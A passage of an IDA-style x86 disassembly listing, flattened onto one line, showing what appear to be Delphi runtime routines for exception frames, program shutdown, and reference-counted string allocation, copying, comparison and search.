ebx push esi push edi push ebp mov ebx, fs:[ebx] push ebx push eax push edx push ecx mov edx, [esp+20h+arg_4] push 0 push eax push offset loc_40227C push edx call ds:off_40A018 loc_40227C: ; DATA XREF: sub_4021A4+CCo mov edi, [esp+arg_24] call sub_4034D8 push dword ptr [eax+0] mov [eax+0], esp mov ebp, [edi+8] mov ebx, [edi+4] mov dword ptr [edi+4], offset loc_4022A8 add ebx, 5 call sub_402148 jmp ebx ; --------------------------------------------------------------------------- loc_4022A8: ; DATA XREF: sub_4021A4+F3o jmp loc_4022D0 ; --------------------------------------------------------------------------- call sub_4034D8 mov ecx, [eax+0] mov edx, [ecx] mov [eax+0], edx mov eax, [ecx+8] jmp sub_401F50 ; --------------------------------------------------------------------------- loc_4022C8: ; CODE XREF: sub_4021A4+Bj ; sub_4021A4+2Dj ... mov eax, 1 retn sub_4021A4 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_4021A4 loc_4022D0: ; CODE XREF: sub_4021A4:loc_4022A8j ; sub_4030F8:loc_4031FDj ... mov eax, [esp+arg_0] mov edx, [esp+arg_4] test dword ptr [eax+4], 6 jz short loc_402300 mov ecx, [edx+4] mov dword ptr [edx+4], offset loc_402300 push ebx push esi push edi push ebp mov ebp, [edx+8] add ecx, 5 call sub_40217C call ecx pop ebp pop edi pop esi pop ebx loc_402300: ; CODE XREF: sub_4021A4+13Bj ; DATA XREF: sub_4021A4+140o mov eax, 1 retn ; END OF FUNCTION CHUNK FOR sub_4021A4 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402308 proc near ; CODE XREF: sub_4043CC+19p ; sub_405B20+4Bj ... or eax, eax jnz short loc_402316 mov eax, 0D8h call sub_4025BC ; --------------------------------------------------------------------------- loc_402316: ; CODE XREF: sub_402308+2j pop edx push esp push ebp push edi push esi push ebx push eax push edx push esp push 7 push 1 push 0EEDFADEh push edx jmp ds:off_40A014 sub_402308 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_402330 proc near ; CODE XREF: CODE:loc_4020BFp arg_2C = dword ptr 30h mov eax, [esp+arg_2C] mov dword ptr [eax+4], offset loc_40237B call sub_4034D8 mov edx, [eax+0] mov ecx, [edx] mov [eax+0], ecx mov eax, [edx+0Ch] and dword ptr [eax+4], 0FFFFFFFDh cmp dword ptr [eax], 0EEDFADEh jz short loc_40236A mov eax, [edx+8] call sub_401F50 call sub_4020F0 loc_40236A: ; CODE XREF: sub_402330+2Bj xor eax, eax add esp, 14h mov edx, fs:[eax] pop ecx mov edx, [edx] mov [ecx], edx pop ebp pop edi pop esi pop ebx loc_40237B: ; DATA XREF: sub_402330+4o mov eax, 1 retn sub_402330 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402384 proc near ; CODE XREF: sub_4024E0:loc_40252Ep ; DATA XREF: DATA:off_409038o push ebx push esi push edi push ebp mov edi, offset dword_40A5AC mov eax, [edi+8] test eax, eax jz short loc_4023B2 mov ebx, [edi+0Ch] mov esi, [eax+4] test ebx, ebx jle short loc_4023B2 loc_40239E: ; CODE XREF: sub_402384+2Cj dec ebx mov [edi+0Ch], ebx mov eax, [esi+ebx*8+4] test eax, eax jz short loc_4023AE mov ebp, eax call ebp loc_4023AE: ; CODE XREF: sub_402384+24j test ebx, ebx jg short loc_40239E loc_4023B2: ; CODE XREF: sub_402384+Ej ; sub_402384+18j pop ebp pop edi pop esi pop ebx retn sub_402384 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4023B8 proc near ; CODE XREF: sub_4023B8+43p ; sub_40240C+12p ; DATA XREF: ... push ebx push esi push edi push ebp mov edi, ecx mov ebp, edx mov esi, eax mov eax, offset sub_4023B8 cmp eax, ds:off_409034 setz bl cmp edi, ebp jle short loc_402407 loc_4023D4: ; CODE XREF: sub_4023B8+4Dj mov eax, [esi+ebp*8] inc ebp mov ds:dword_40A5B8, ebp test eax, eax jz short loc_4023E4 call eax loc_4023E4: ; CODE XREF: sub_4023B8+28j test bl, bl jz short loc_402403 mov eax, offset sub_4023B8 cmp eax, ds:off_409034 jz short loc_402403 mov ecx, edi mov edx, ebp mov eax, esi call ds:off_409034 jmp short loc_402407 ; --------------------------------------------------------------------------- loc_402403: ; CODE XREF: sub_4023B8+2Ej ; sub_4023B8+3Bj cmp edi, ebp jg short loc_4023D4 loc_402407: ; CODE XREF: sub_4023B8+1Aj ; sub_4023B8+49j pop ebp pop edi pop esi pop ebx retn sub_4023B8 endp ; =============== S U B R O U T I N E ======================================= sub_40240C proc near ; CODE XREF: sub_402428+35p mov eax, ds:off_40A5B4 test eax, eax jz short locret_402424 mov edx, [eax] xor ecx, ecx mov eax, [eax+4] xchg ecx, edx call ds:off_409034 locret_402424: ; CODE XREF: sub_40240C+7j retn sub_40240C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402428 proc near ; CODE XREF: sub_403524+3Ap mov ds:off_40A014, offset sub_4010E8 mov ds:off_40A018, offset sub_4010F8 mov ds:off_40A5B4, eax xor eax, eax mov ds:dword_40A5B8, eax mov ds:off_40A5BC, edx mov eax, [edx+4] mov ds:dword_40A02C, eax mov ds:byte_40A034, 0 call sub_40240C retn sub_402428 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402464 proc near ; CODE XREF: sub_406D18+1Fp push ebx xor ebx, ebx push edi push esi mov edi, [eax+ebx] lea esi, [eax+ebx+4] loc_402470: ; CODE XREF: sub_402464+1Fj mov eax, [esi+4] mov edx, [esi] mov eax, [eax+ebx] add edx, ebx call sub_4033B0 add esi, 8 dec edi jnz short loc_402470 pop esi pop edi pop ebx retn sub_402464 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40248C proc near ; CODE XREF: sub_406D18+29p push ebx xor ebx, ebx push edi push esi mov edi, [eax+ebx] lea esi, [eax+ebx+4] loc_402498: ; CODE XREF: sub_40248C+1Ej mov eax, [esi+4] mov edx, [esi] mov eax, [eax+ebx] add eax, [esi+8] mov [edx+ebx], eax add esi, 0Ch dec edi jnz short loc_402498 pop esi pop edi pop ebx retn sub_40248C endp ; =============== S U B R O U T I N E ======================================= sub_4024B0 proc near ; CODE XREF: sub_4024E0+96p xor eax, eax xchg eax, ds:dword_409000 neg eax sbb eax, eax inc eax mov edi, offset dword_40A5AC mov ebx, [edi+18h] mov ebp, [edi+14h] push dword ptr [edi+1Ch] push dword ptr [edi+20h] mov esi, [edi] mov ecx, 0Bh rep movsd pop edi pop esi leave retn 0Ch sub_4024B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4024E0 proc near ; CODE XREF: sub_4025B0+5p ; CODE:00407FDCp push ebx push esi push edi push ebp mov ebx, offset dword_40A5AC mov esi, offset dword_409000 mov edi, offset dword_40A038 cmp byte ptr [ebx+28h], 0 jnz short loc_40250F cmp dword ptr [edi], 0 jz short loc_40250F loc_4024FE: ; CODE XREF: sub_4024E0+2Dj mov edx, [edi] mov eax, edx xor edx, edx mov [edi], edx mov ebp, eax call ebp cmp dword ptr [edi], 0 jnz short loc_4024FE loc_40250F: ; CODE XREF: sub_4024E0+17j ; sub_4024E0+1Cj cmp ds:dword_409004, 0 jz short loc_40251E call ds:off_409090 loc_40251E: ; CODE XREF: sub_4024E0+36j ; sub_4024E0+C6j cmp byte ptr [ebx+28h], 2 jnz short loc_40252E cmp dword ptr [esi], 0 jnz short loc_40252E xor eax, eax mov [ebx+0Ch], eax loc_40252E: ; CODE XREF: sub_4024E0+42j ; sub_4024E0+47j call ds:off_409038 cmp byte ptr [ebx+28h], 1 jbe short loc_40253F cmp dword ptr [esi], 0 jz short loc_402561 loc_40253F: ; CODE XREF: sub_4024E0+58j mov eax, [ebx+10h] test eax, eax jz short loc_402561 call ds:off_409028 mov edx, [ebx+10h] mov eax, [edx+10h] cmp eax, [edx+4] jz short loc_402561 test eax, eax jz short loc_402561 push eax call sub_401080 ; FreeLibrary loc_402561: ; CODE XREF: sub_4024E0+5Dj ; sub_4024E0+64j ... call ds:off_40903C cmp byte ptr [ebx+28h], 1 jnz short loc_402570 call dword ptr [ebx+24h] loc_402570: ; CODE XREF: sub_4024E0+8Bj cmp byte ptr [ebx+28h], 0 jz short loc_40257B call sub_4024B0 loc_40257B: ; CODE XREF: sub_4024E0+94j cmp dword ptr [ebx], 0 jnz short loc_402597 cmp ds:dword_40A024, 0 jz short loc_40258F call ds:dword_40A024 loc_40258F: ; CODE XREF: sub_4024E0+A7j mov eax, [esi] push eax call sub_401128 ; ExitProcess loc_402597: ; CODE XREF: sub_4024E0+9Ej mov eax, [ebx] push esi mov esi, eax mov edi, ebx mov ecx, 0Bh rep movsd pop esi jmp loc_40251E sub_4024E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- pop ebp pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4025B0 proc near ; CODE XREF: sub_401280+6p ; sub_4025BC+6j ... mov ds:dword_409000, eax call sub_4024E0 sub_4025B0 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4025BC proc near ; CODE XREF: sub_402308+9p ; sub_403494+1Ap ... pop ds:dword_409004 jmp sub_4025B0 sub_4025BC endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_4025C8 proc near ; CODE XREF: sub_40148C+Fp ; sub_4026B4+23p ... mov edx, [eax] test edx, edx jz short locret_4025E9 mov dword ptr [eax], 0 mov ecx, [edx-8] dec ecx jl short locret_4025E9 dec dword ptr [edx-8] jnz short locret_4025E9 push eax lea eax, [edx-8] call sub_401218 pop eax locret_4025E9: ; CODE XREF: sub_4025C8+4j ; sub_4025C8+10j ... retn sub_4025C8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4025EC proc near ; CODE XREF: sub_402C70+56p ; sub_4051EC+10Dp ... push ebx push esi mov ebx, eax mov esi, edx loc_4025F2: ; CODE XREF: sub_4025EC+29j mov edx, [ebx] test edx, edx jz short loc_402611 mov dword ptr [ebx], 0 mov ecx, [edx-8] dec ecx jl short loc_402611 dec dword ptr [edx-8] jnz short loc_402611 lea eax, [edx-8] call sub_401218 loc_402611: ; CODE XREF: sub_4025EC+Aj ; sub_4025EC+16j ... add ebx, 4 dec esi jnz short loc_4025F2 pop esi pop ebx retn sub_4025EC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40261C proc near ; CODE XREF: sub_402848+8j ; sub_40288C+6j ... test edx, edx jz short loc_402643 mov ecx, [edx-8] inc ecx jg short loc_402640 push eax push edx mov eax, [edx-4] call sub_402688 mov edx, eax pop eax push edx mov ecx, [eax-4] call sub_401340 pop edx pop eax jmp short loc_402643 ; --------------------------------------------------------------------------- loc_402640: ; CODE XREF: sub_40261C+8j inc dword ptr [edx-8] loc_402643: ; CODE XREF: sub_40261C+2j ; sub_40261C+22j xchg edx, [eax] test edx, edx jz short locret_40265C mov ecx, [edx-8] dec ecx jl short locret_40265C dec dword ptr [edx-8] jnz short locret_40265C lea eax, [edx-8] call sub_401218 locret_40265C: ; CODE XREF: sub_40261C+2Bj ; sub_40261C+31j ... retn sub_40261C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402660 proc near ; CODE XREF: sub_405B74+2Ep ; sub_4064C4+1EDp ... test edx, edx jz short loc_40266D mov ecx, [edx-8] inc ecx jle short loc_40266D inc dword ptr [edx-8] loc_40266D: ; CODE XREF: sub_402660+2j ; sub_402660+8j xchg edx, [eax] test edx, edx jz short locret_402686 mov ecx, [edx-8] dec ecx jl short locret_402686 dec dword ptr [edx-8] jnz short locret_402686 lea eax, [edx-8] call sub_401218 locret_402686: ; CODE XREF: sub_402660+11j ; sub_402660+17j ... retn sub_402660 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402688 proc near ; CODE XREF: sub_40261C+Fp ; sub_4026B4+Bp ... test eax, eax jle short loc_4026B0 push eax add eax, 0Ah and eax, 0FFFFFFFEh push eax call sub_401200 pop edx mov word ptr [edx+eax-2], 0 add eax, 8 pop edx mov [eax-4], edx mov dword ptr [eax-8], 1 retn ; --------------------------------------------------------------------------- loc_4026B0: ; CODE XREF: sub_402688+2j xor eax, eax retn sub_402688 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4026B4 proc near ; CODE XREF: sub_40148C+2Fp ; CODE:0040274Ep ... push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx mov eax, edi call sub_402688 mov ecx, edi mov edi, eax test esi, esi jz short loc_4026D5 mov edx, eax mov eax, esi call sub_401340 loc_4026D5: ; CODE XREF: sub_4026B4+16j mov eax, ebx call sub_4025C8 mov [ebx], edi pop edi pop esi pop ebx retn sub_4026B4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4026E4 proc near ; CODE XREF: CODE:0040273Bp ; CODE:0040276Bp arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 0 push edx push eax mov eax, [ebp+arg_0] push eax push ecx push 0 push 0 call sub_401198 ; WideCharToMultiByte pop ebp retn 4 sub_4026E4 endp ; --------------------------------------------------------------------------- align 10h loc_402700: ; CODE XREF: CODE:loc_4027FFj ; CODE:loc_402837j push ebx push esi push edi push ebp add esp, 0FFFFF004h push eax add esp, 0FFFFFFFCh mov esi, ecx mov [esp], edx mov edi, eax test esi, esi jg short loc_402722 mov eax, edi call sub_4025C8 jmp short loc_402781 ; --------------------------------------------------------------------------- loc_402722: ; CODE XREF: CODE:00402717j lea ebp, [esi+1] cmp ebp, 7FFh jge short loc_402755 push esi lea eax, [esp+8] mov ecx, [esp+4] mov edx, 0FFFh call sub_4026E4 mov ebx, eax test ebx, ebx jl short loc_402755 lea edx, [esp+4] mov eax, edi mov ecx, ebx call sub_4026B4 jmp short loc_402781 ; --------------------------------------------------------------------------- loc_402755: ; CODE XREF: CODE:0040272Bj ; CODE:00402744j mov ebx, ebp add ebx, ebx mov eax, edi mov edx, ebx call sub_402BC0 push esi mov eax, [edi] mov ecx, [esp+4] mov edx, ebx call sub_4026E4 mov ebx, eax test ebx, ebx jge short loc_402778 xor ebx, ebx loc_402778: ; CODE XREF: CODE:00402774j mov eax, edi mov edx, ebx call sub_402BC0 loc_402781: ; CODE XREF: CODE:00402720j ; CODE:00402753j add esp, 1004h pop ebp pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_40278C proc near ; CODE XREF: sub_405474+8Dp ; sub_405474+190p ... push edx mov edx, esp mov ecx, 1 call sub_4026B4 pop edx retn sub_40278C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40279C proc near ; CODE XREF: sub_4033B0+48p ; sub_405310+28p ... xor ecx, ecx test edx, edx jz short loc_4027C3 push edx loc_4027A3: ; CODE XREF: sub_40279C+1Dj cmp cl, [edx] jz short loc_4027BE cmp cl, [edx+1] jz short loc_4027BD cmp cl, [edx+2] jz short loc_4027BC cmp cl, [edx+3] jz short loc_4027BB add edx, 4 jmp short loc_4027A3 ; --------------------------------------------------------------------------- loc_4027BB: ; CODE XREF: sub_40279C+18j inc edx loc_4027BC: ; CODE XREF: sub_40279C+13j inc edx loc_4027BD: ; CODE XREF: sub_40279C+Ej inc edx loc_4027BE: ; CODE XREF: sub_40279C+9j mov ecx, edx pop edx sub ecx, edx loc_4027C3: ; CODE XREF: sub_40279C+4j jmp sub_4026B4 sub_40279C endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 loc_4027CC: ; DATA XREF: sub_4047F6:loc_4049C6o xor ecx, ecx test edx, edx jz short loc_4027FF push edx loc_4027D3: ; CODE XREF: CODE:004027EDj cmp cx, [edx] jz short loc_4027F8 cmp cx, [edx+2] jz short loc_4027F5 cmp cx, [edx+4] jz short loc_4027F2 cmp cx, [edx+6] jz short loc_4027EF add edx, 8 jmp short loc_4027D3 ; --------------------------------------------------------------------------- loc_4027EF: ; CODE XREF: CODE:004027E8j add edx, 2 loc_4027F2: ; CODE XREF: CODE:004027E2j add edx, 2 loc_4027F5: ; CODE XREF: CODE:004027DCj add edx, 2 loc_4027F8: ; CODE XREF: CODE:004027D6j mov ecx, edx pop edx sub ecx, edx shr ecx, 1 loc_4027FF: ; CODE XREF: CODE:004027D0j jmp loc_402700 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402808 proc near ; CODE XREF: sub_407720+28p xor ecx, ecx mov cl, [edx] inc edx jmp sub_4026B4 sub_402808 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402814 proc near ; CODE XREF: sub_405CFC+BBp ; sub_406094+49p ... push edi push eax push ecx mov edi, edx xor eax, eax repne scasb jnz short loc_402821 not ecx loc_402821: ; CODE XREF: sub_402814+9j pop eax add ecx, eax pop eax pop edi jmp sub_4026B4 sub_402814 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_40282C: ; DATA XREF: sub_4047F6:loc_4049CDo xor ecx, ecx test edx, edx jz short loc_402837 mov ecx, [edx-4] shr ecx, 1 loc_402837: ; CODE XREF: CODE:00402830j jmp loc_402700 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402840 proc near ; CODE XREF: sub_401780+3Ep ; sub_401780+56p ... test eax, eax jz short locret_402847 mov eax, [eax-4] locret_402847: ; CODE XREF: sub_402840+2j retn sub_402840 endp ; =============== S U B R O U T I N E ======================================= sub_402848 proc near ; CODE XREF: sub_40288C+1Dj ; sub_40288C+6Ej ... test edx, edx jz short locret_40288B mov ecx, [eax] test ecx, ecx jz sub_40261C push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, [ecx-4] mov edx, [esi-4] add edx, edi cmp esi, ecx jz short loc_402880 call sub_402BC0 mov eax, esi mov ecx, [esi-4] loc_402873: ; CODE XREF: sub_402848+41j mov edx, [ebx] add edx, edi call sub_401340 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_402880: ; CODE XREF: sub_402848+1Fj call sub_402BC0 mov eax, [ebx] mov ecx, edi jmp short loc_402873 ; --------------------------------------------------------------------------- locret_40288B: ; CODE XREF: sub_402848+2j retn sub_402848 endp ; =============== S U B R O U T I N E ======================================= sub_40288C proc near ; CODE XREF: CODE:00407C9Ep test edx, edx jz short loc_4028F1 test ecx, ecx jz sub_40261C cmp edx, [eax] jz short loc_4028F8 cmp ecx, [eax] jz short loc_4028AE push eax push ecx call sub_40261C pop edx pop eax jmp sub_402848 ; --------------------------------------------------------------------------- loc_4028AE: ; CODE XREF: sub_40288C+12j push ebx push esi push edi mov ebx, edx mov esi, ecx push eax mov eax, [ebx-4] add eax, [esi-4] call sub_402688 mov edi, eax mov edx, eax mov eax, ebx mov ecx, [ebx-4] call sub_401340 mov edx, edi mov eax, esi mov ecx, [esi-4] add edx, [ebx-4] call sub_401340 pop eax mov edx, edi test edi, edi jz short loc_4028E8 dec dword ptr [edi-8] loc_4028E8: ; CODE XREF: sub_40288C+57j call sub_40261C pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4028F1: ; CODE XREF: sub_40288C+2j mov edx, ecx jmp sub_40261C ; --------------------------------------------------------------------------- loc_4028F8: ; CODE XREF: sub_40288C+Ej mov edx, ecx jmp sub_402848 sub_40288C endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_402900 proc near ; CODE XREF: sub_4064C4+27Bp ; sub_4064C4+298p ... push ebx push esi push edi push edx push eax mov ebx, edx xor edi, edi mov ecx, [esp+edx*4+14h] test ecx, ecx jz short loc_402917 cmp [eax], ecx jnz short loc_402917 mov edi, eax loc_402917: ; CODE XREF: sub_402900+Fj ; sub_402900+13j xor eax, eax loc_402919: ; CODE XREF: sub_402900+2Bj mov ecx, [esp+edx*4+14h] test ecx, ecx jz short loc_40292A add eax, [ecx-4] cmp edi, ecx jnz short loc_40292A xor edi, edi loc_40292A: ; CODE XREF: sub_402900+1Fj ; sub_402900+26j dec edx jnz short loc_402919 test edi, edi jz short loc_402945 mov edx, eax mov eax, edi mov esi, [edi] mov esi, [esi-4] call sub_402BC0 push edi add esi, [edi] dec ebx jmp short loc_40294D ; --------------------------------------------------------------------------- loc_402945: ; CODE XREF: sub_402900+2Fj call sub_402688 push eax mov esi, eax loc_40294D: ; CODE XREF: sub_402900+43j ; sub_402900+62j mov eax, [esp+ebx*4+18h] mov edx, esi test eax, eax jz short loc_402961 mov ecx, [eax-4] add esi, ecx call sub_401340 loc_402961: ; CODE XREF: sub_402900+55j dec ebx jnz short loc_40294D pop edx pop eax test edi, edi jnz short loc_402976 test edx, edx jz short loc_402971 dec dword ptr [edx-8] loc_402971: ; CODE XREF: sub_402900+6Cj call sub_40261C loc_402976: ; CODE XREF: sub_402900+68j pop edx pop edi pop esi pop ebx pop eax lea esp, [esp+edx*4] jmp eax sub_402900 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402984 proc near ; CODE XREF: CODE:00407F53p push ebx push esi push edi mov esi, eax mov edi, edx cmp eax, edx jz loc_402A22 test esi, esi jz short loc_4029FF test edi, edi jz short loc_402A06 mov eax, [esi-4] mov edx, [edi-4] sub eax, edx ja short loc_4029A7 add edx, eax loc_4029A7: ; CODE XREF: sub_402984+1Fj push edx shr edx, 2 jz short loc_4029D3 loc_4029AD: ; CODE XREF: sub_402984+45j mov ecx, [esi] mov ebx, [edi] cmp ecx, ebx jnz short loc_402A0D dec edx jz short loc_4029CD mov ecx, [esi+4] mov ebx, [edi+4] cmp ecx, ebx jnz short loc_402A0D add esi, 8 add edi, 8 dec edx jnz short loc_4029AD jmp short loc_4029D3 ; --------------------------------------------------------------------------- loc_4029CD: ; CODE XREF: sub_402984+32j add esi, 4 add edi, 4 loc_4029D3: ; CODE XREF: sub_402984+27j ; sub_402984+47j pop edx and edx, 3 jz short loc_4029FB mov ecx, [esi] mov ebx, [edi] cmp cl, bl jnz short loc_402A22 dec edx jz short loc_4029FB cmp ch, bh jnz short loc_402A22 dec edx jz short loc_4029FB and ebx, 0FF0000h and ecx, 0FF0000h cmp ecx, ebx jnz short loc_402A22 loc_4029FB: ; CODE XREF: sub_402984+53j ; sub_402984+5Ej ... add eax, eax jmp short loc_402A22 ; --------------------------------------------------------------------------- loc_4029FF: ; CODE XREF: sub_402984+11j mov edx, [edi-4] sub eax, edx jmp short loc_402A22 ; --------------------------------------------------------------------------- loc_402A06: ; CODE XREF: sub_402984+15j mov eax, [esi-4] sub eax, edx jmp short loc_402A22 ; --------------------------------------------------------------------------- loc_402A0D: ; CODE XREF: sub_402984+2Fj ; sub_402984+3Cj pop edx cmp cl, bl jnz short loc_402A22 cmp ch, bh jnz short loc_402A22 shr ecx, 10h shr ebx, 10h cmp cl, bl jnz short loc_402A22 cmp ch, bh loc_402A22: ; CODE XREF: sub_402984+9j ; sub_402984+5Bj ... pop edi pop esi pop ebx retn sub_402984 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402A28 proc near ; CODE XREF: sub_406DAC+Fp ; sub_406E6C+14p ... test eax, eax jz short locret_402A35 mov edx, [eax-8] inc edx jle short locret_402A35 inc dword ptr [eax-8] locret_402A35: ; CODE XREF: sub_402A28+2j ; sub_402A28+8j retn sub_402A28 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402A38 proc near ; CODE XREF: sub_401780+46p ; sub_404420+15p ... test eax, eax jz short loc_402A3E retn ; --------------------------------------------------------------------------- byte_402A3D db 0 ; DATA XREF: sub_402A38:loc_402A3Eo ; --------------------------------------------------------------------------- loc_402A3E: ; CODE XREF: sub_402A38+2j mov eax, offset byte_402A3D retn sub_402A38 endp ; =============== S U B R O U T I N E ======================================= sub_402A44 proc near ; CODE XREF: sub_402A84j sub_402A8Cj mov edx, [eax] test edx, edx jz short loc_402A81 mov ecx, [edx-8] dec ecx jz short loc_402A81 push ebx mov ebx, eax mov eax, [edx-4] call sub_402688 mov edx, eax mov eax, [ebx] mov [ebx], edx push eax mov ecx, [eax-4] call sub_401340 pop eax mov ecx, [eax-8] dec ecx jl short loc_402A7E dec dword ptr [eax-8] jnz short loc_402A7E lea eax, [eax-8] call sub_401218 loc_402A7E: ; CODE XREF: sub_402A44+2Bj ; sub_402A44+30j mov edx, [ebx] pop ebx loc_402A81: ; CODE XREF: sub_402A44+4j ; sub_402A44+Aj mov eax, edx retn sub_402A44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402A84 proc near ; CODE XREF: sub_402AD4+9p jmp sub_402A44 sub_402A84 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402A8C proc near ; CODE XREF: sub_406DAC+34p ; sub_406DAC+67p ... jmp sub_402A44 sub_402A8C endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402A94 proc near ; CODE XREF: sub_4044E8+20p ; sub_405474+E4p arg_0 = dword ptr 4 push ebx test eax, eax jz short loc_402AC6 mov ebx, [eax-4] test ebx, ebx jz short loc_402AC6 dec edx jl short loc_402ABE cmp edx, ebx jge short loc_402AC6 loc_402AA7: ; CODE XREF: sub_402A94+2Cj sub ebx, edx test ecx, ecx jl short loc_402AC6 cmp ecx, ebx jg short loc_402AC2 loc_402AB1: ; CODE XREF: sub_402A94+30j add edx, eax mov eax, [esp+4+arg_0] call sub_4026B4 jmp short loc_402ACF ; --------------------------------------------------------------------------- loc_402ABE: ; CODE XREF: sub_402A94+Dj xor edx, edx jmp short loc_402AA7 ; --------------------------------------------------------------------------- loc_402AC2: ; CODE XREF: sub_402A94+1Bj mov ecx, ebx jmp short loc_402AB1 ; --------------------------------------------------------------------------- loc_402AC6: ; CODE XREF: sub_402A94+3j ; sub_402A94+Aj ... mov eax, [esp+4+arg_0] call sub_4025C8 loc_402ACF: ; CODE XREF: sub_402A94+28j pop ebx retn 4 sub_402A94 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_402AD4 proc near ; CODE XREF: sub_407A14+54p push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx call sub_402A84 mov edx, [ebx] test edx, edx jz short loc_402B18 mov ecx, [edx-4] dec esi jl short loc_402B18 cmp esi, ecx jge short loc_402B18 test edi, edi jle short loc_402B18 sub ecx, esi cmp edi, ecx jle short loc_402AFE mov edi, ecx loc_402AFE: ; CODE XREF: sub_402AD4+26j sub ecx, edi add edx, esi lea eax, [edi+edx] call sub_401340 mov edx, [ebx] mov eax, ebx mov edx, [edx-4] sub edx, edi call sub_402BC0 loc_402B18: ; CODE XREF: sub_402AD4+12j ; sub_402AD4+18j ... pop edi pop esi pop ebx retn sub_402AD4 endp ; =============== S U B R O U T I N E ======================================= sub_402B1C proc near ; CODE XREF: sub_407A14+61p test eax, eax jz short locret_402B76 push ebx push esi push edi push ebp mov ebx, eax mov esi, edx mov edi, ecx mov edx, [edx] push edx test edx, edx jz short loc_402B34 mov edx, [edx-4] loc_402B34: ; CODE XREF: sub_402B1C+13j dec edi jge short loc_402B39 xor edi, edi loc_402B39: ; CODE XREF: sub_402B1C+19j cmp edi, edx jle short loc_402B3F mov edi, edx loc_402B3F: ; CODE XREF: sub_402B1C+1Fj mov ebp, [ebx-4] mov eax, esi add edx, ebp call sub_402BC0 pop eax cmp eax, ebx jnz short loc_402B52 mov ebx, [esi] loc_402B52: ; CODE XREF: sub_402B1C+32j mov eax, [esi] lea edx, [edi+ebp] mov ecx, [eax-4] sub ecx, edx add edx, eax add eax, edi call sub_401340 mov eax, ebx mov edx, [esi] mov ecx, ebp add edx, edi call sub_401340 pop ebp pop edi pop esi pop ebx locret_402B76: ; CODE XREF: sub_402B1C+2j retn sub_402B1C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402B78 proc near ; CODE XREF: sub_407A14+3Ep ; sub_407A14+6Cp test eax, eax jz short locret_402BBC test edx, edx jz short loc_402BB1 push ebx push esi push edi mov esi, eax mov edi, edx mov ecx, [edi-4] push edi mov edx, [esi-4] dec edx js short loc_402BAC mov al, [esi] inc esi sub ecx, edx jle short loc_402BAC loc_402B98: ; CODE XREF: sub_402B78+32j repne scasb jnz short loc_402BAC mov ebx, ecx push esi push edi mov ecx, edx repe cmpsb pop edi pop esi jz short loc_402BB4 mov ecx, ebx jmp short loc_402B98 ; --------------------------------------------------------------------------- loc_402BAC: ; CODE XREF: sub_402B78+17j ; sub_402B78+1Ej ... pop edx xor eax, eax jmp short loc_402BB9 ; --------------------------------------------------------------------------- loc_402BB1: ; CODE XREF: sub_402B78+6j xor eax, eax retn ; --------------------------------------------------------------------------- loc_402BB4: ; CODE XREF: sub_402B78+2Ej pop edx mov eax, edi sub eax, edx loc_402BB9: ; CODE XREF: sub_402B78+37j pop edi pop esi pop ebx locret_402BBC: ; CODE XREF: sub_402B78+2j 